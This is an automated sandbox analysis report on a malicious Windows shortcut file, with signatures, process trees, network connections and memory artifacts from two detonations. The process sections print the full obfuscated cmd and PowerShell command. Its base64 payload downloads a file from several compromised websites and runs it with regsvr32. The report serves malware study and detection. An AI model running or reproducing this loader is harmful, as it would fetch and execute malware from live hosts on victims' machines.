Malware Analysis Report

2024-12-07 16:13

Sample ID 241113-lvm8eszcjh
Target f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390
SHA256 f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390
Tags
execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390

Threat Level: Likely malicious

The file f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390 was found to be: Likely malicious.

Malicious Activity Summary

execution

Blocklisted process makes network request

Checks computer location settings

Command and Scripting Interpreter: PowerShell

An obfuscated cmd.exe command-line is typically used to evade detection.

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 09:51

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 09:51

Reported

2024-11-13 09:53

Platform

win7-20240729-en

Max time kernel

16s

Max time network

17s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390.lnk

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

An obfuscated cmd.exe command-line is typically used to evade detection.

Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390.lnk

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /v:on /c qNARm4qQrno5jsUx94Muu9UAGPhpu2QSUHvDdf3YtfTqGoAFH8dVSTB586lJusgfCxg3//HL||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$nJ='ICBXcml0ZS1Ib3N0ICJjSHRXTSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL21pbmthLmNvbS5teC90cmFuc2xhdGlvbnMvMzVJb29GLyIsImh0dHA6Ly9tbW10YWNvc3BkeC5jb20vVm0veXBkSzNMMXZZUlZKaHBOc0RUZDUvIiwiaHR0cDovL21vYXByaW50cy5jb20vUGprRy8iLCJodHRwOi8vbW9vcndvcmxkLmNvbS9hc3BuZXRfY2xpZW50L0pVSldULyIsImh0dHA6Ly9taW5pbWlpLmNvbS9fb2xkL1JSWHhTUllQRlNUZGhVLyIsImh0dHA6Ly9tb3JlbDIuZ290Y2hhaG9zdGluZy5jb20vd3AtYWRtaW4vR0N3d0JCLyIpOyR0PSJVTkdkSiI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFx2dmx4SGdvU05nLkxmWTtSZWdzdnIzMi5leGUgIiRkXHZ2bHhIZ29TTmcuTGZZIjticmVha30gY2F0Y2ggeyB9fQ==';$hl=[System.Convert]::FromBase64String($nJ);$TY=[System.Text.Encoding]::ASCII.GetString($hl); iex ($TY)}"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -c "&{$nJ='ICBXcml0ZS1Ib3N0ICJjSHRXTSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL21pbmthLmNvbS5teC90cmFuc2xhdGlvbnMvMzVJb29GLyIsImh0dHA6Ly9tbW10YWNvc3BkeC5jb20vVm0veXBkSzNMMXZZUlZKaHBOc0RUZDUvIiwiaHR0cDovL21vYXByaW50cy5jb20vUGprRy8iLCJodHRwOi8vbW9vcndvcmxkLmNvbS9hc3BuZXRfY2xpZW50L0pVSldULyIsImh0dHA6Ly9taW5pbWlpLmNvbS9fb2xkL1JSWHhTUllQRlNUZGhVLyIsImh0dHA6Ly9tb3JlbDIuZ290Y2hhaG9zdGluZy5jb20vd3AtYWRtaW4vR0N3d0JCLyIpOyR0PSJVTkdkSiI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFx2dmx4SGdvU05nLkxmWTtSZWdzdnIzMi5leGUgIiRkXHZ2bHhIZ29TTmcuTGZZIjticmVha30gY2F0Y2ggeyB9fQ==';$hl=[System.Convert]::FromBase64String($nJ);$TY=[System.Text.Encoding]::ASCII.GetString($hl); iex ($TY)}"

Network

N/A

Files

memory/2564-48-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

memory/2564-47-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

memory/2564-46-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

memory/2564-45-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

memory/2564-44-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

memory/2564-43-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

memory/2564-42-0x00000000027E0000-0x00000000027E8000-memory.dmp

memory/2564-41-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

memory/2564-40-0x000007FEF5E1E000-0x000007FEF5E1F000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 09:51

Reported

2024-11-13 09:53

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

151s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390.lnk

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

An obfuscated cmd.exe command-line is typically used to evade detection.

Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4256 wrote to memory of 2128 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4256 wrote to memory of 2128 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2128 wrote to memory of 1948 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2128 wrote to memory of 1948 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\f94bc7f15a9ba8e439f5adb517a60f66a976b9fc4743e83897ad7303a788f390.lnk

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /v:on /c qNARm4qQrno5jsUx94Muu9UAGPhpu2QSUHvDdf3YtfTqGoAFH8dVSTB586lJusgfCxg3//HL||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$nJ='ICBXcml0ZS1Ib3N0ICJjSHRXTSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL21pbmthLmNvbS5teC90cmFuc2xhdGlvbnMvMzVJb29GLyIsImh0dHA6Ly9tbW10YWNvc3BkeC5jb20vVm0veXBkSzNMMXZZUlZKaHBOc0RUZDUvIiwiaHR0cDovL21vYXByaW50cy5jb20vUGprRy8iLCJodHRwOi8vbW9vcndvcmxkLmNvbS9hc3BuZXRfY2xpZW50L0pVSldULyIsImh0dHA6Ly9taW5pbWlpLmNvbS9fb2xkL1JSWHhTUllQRlNUZGhVLyIsImh0dHA6Ly9tb3JlbDIuZ290Y2hhaG9zdGluZy5jb20vd3AtYWRtaW4vR0N3d0JCLyIpOyR0PSJVTkdkSiI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFx2dmx4SGdvU05nLkxmWTtSZWdzdnIzMi5leGUgIiRkXHZ2bHhIZ29TTmcuTGZZIjticmVha30gY2F0Y2ggeyB9fQ==';$hl=[System.Convert]::FromBase64String($nJ);$TY=[System.Text.Encoding]::ASCII.GetString($hl); iex ($TY)}"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -c "&{$nJ='ICBXcml0ZS1Ib3N0ICJjSHRXTSI7JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL21pbmthLmNvbS5teC90cmFuc2xhdGlvbnMvMzVJb29GLyIsImh0dHA6Ly9tbW10YWNvc3BkeC5jb20vVm0veXBkSzNMMXZZUlZKaHBOc0RUZDUvIiwiaHR0cDovL21vYXByaW50cy5jb20vUGprRy8iLCJodHRwOi8vbW9vcndvcmxkLmNvbS9hc3BuZXRfY2xpZW50L0pVSldULyIsImh0dHA6Ly9taW5pbWlpLmNvbS9fb2xkL1JSWHhTUllQRlNUZGhVLyIsImh0dHA6Ly9tb3JlbDIuZ290Y2hhaG9zdGluZy5jb20vd3AtYWRtaW4vR0N3d0JCLyIpOyR0PSJVTkdkSiI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFx2dmx4SGdvU05nLkxmWTtSZWdzdnIzMi5leGUgIiRkXHZ2bHhIZ29TTmcuTGZZIjticmVha30gY2F0Y2ggeyB9fQ==';$hl=[System.Convert]::FromBase64String($nJ);$TY=[System.Text.Encoding]::ASCII.GetString($hl); iex ($TY)}"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 minka.com.mx udp
DE 173.249.29.54:80 minka.com.mx tcp
US 8.8.8.8:53 mmmtacospdx.com udp
US 8.8.8.8:53 54.29.249.173.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 67.222.30.110:80 mmmtacospdx.com tcp
US 8.8.8.8:53 moaprints.com udp
US 204.93.163.124:80 moaprints.com tcp
US 8.8.8.8:53 moorworld.com udp
CN 60.247.155.73:80 moorworld.com tcp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 110.30.222.67.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 124.163.93.204.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 minimii.com udp
DK 93.191.156.119:80 minimii.com tcp
US 8.8.8.8:53 morel2.gotchahosting.com udp
CA 167.114.221.140:80 morel2.gotchahosting.com tcp
US 8.8.8.8:53 119.156.191.93.in-addr.arpa udp
US 8.8.8.8:53 140.221.114.167.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 75.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp

Files

memory/1948-0-0x00007FFB495A3000-0x00007FFB495A5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pctn5ofm.hhm.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1948-10-0x000002759D240000-0x000002759D262000-memory.dmp

memory/1948-11-0x00007FFB495A0000-0x00007FFB4A061000-memory.dmp

memory/1948-12-0x00007FFB495A0000-0x00007FFB4A061000-memory.dmp

memory/1948-13-0x00000275B8210000-0x00000275B89B6000-memory.dmp

memory/1948-15-0x00007FFB495A3000-0x00007FFB495A5000-memory.dmp

memory/1948-16-0x00007FFB495A0000-0x00007FFB4A061000-memory.dmp

memory/1948-19-0x00007FFB495A0000-0x00007FFB4A061000-memory.dmp